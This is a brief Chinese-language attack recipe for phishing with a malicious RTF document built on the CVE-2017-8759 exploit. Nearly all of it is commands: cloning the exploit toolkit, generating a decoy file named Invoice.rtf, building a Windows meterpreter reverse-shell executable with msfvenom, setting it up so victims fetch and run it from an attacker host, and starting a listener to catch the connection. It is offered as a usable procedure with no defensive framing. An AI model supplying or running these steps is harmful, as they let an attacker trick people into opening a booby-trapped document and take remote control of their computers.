msf宏钓鱼
kali下载python脚本,生成rtf文件:
下载脚本:git clone https://github.com/bhdresh/CVE-2017-8759.git
生成rtf文件:
python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.8.131/logo.txt
利用msfvenom生成木马
生成exe:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1133 -f exe > /root/shell.exe
捆绑木马:
python cve-2017-8759_toolkit.py -M exp -e http://192.168.8.124/shell.exe -l /root/shell.exe
启动监听,等待钓鱼上线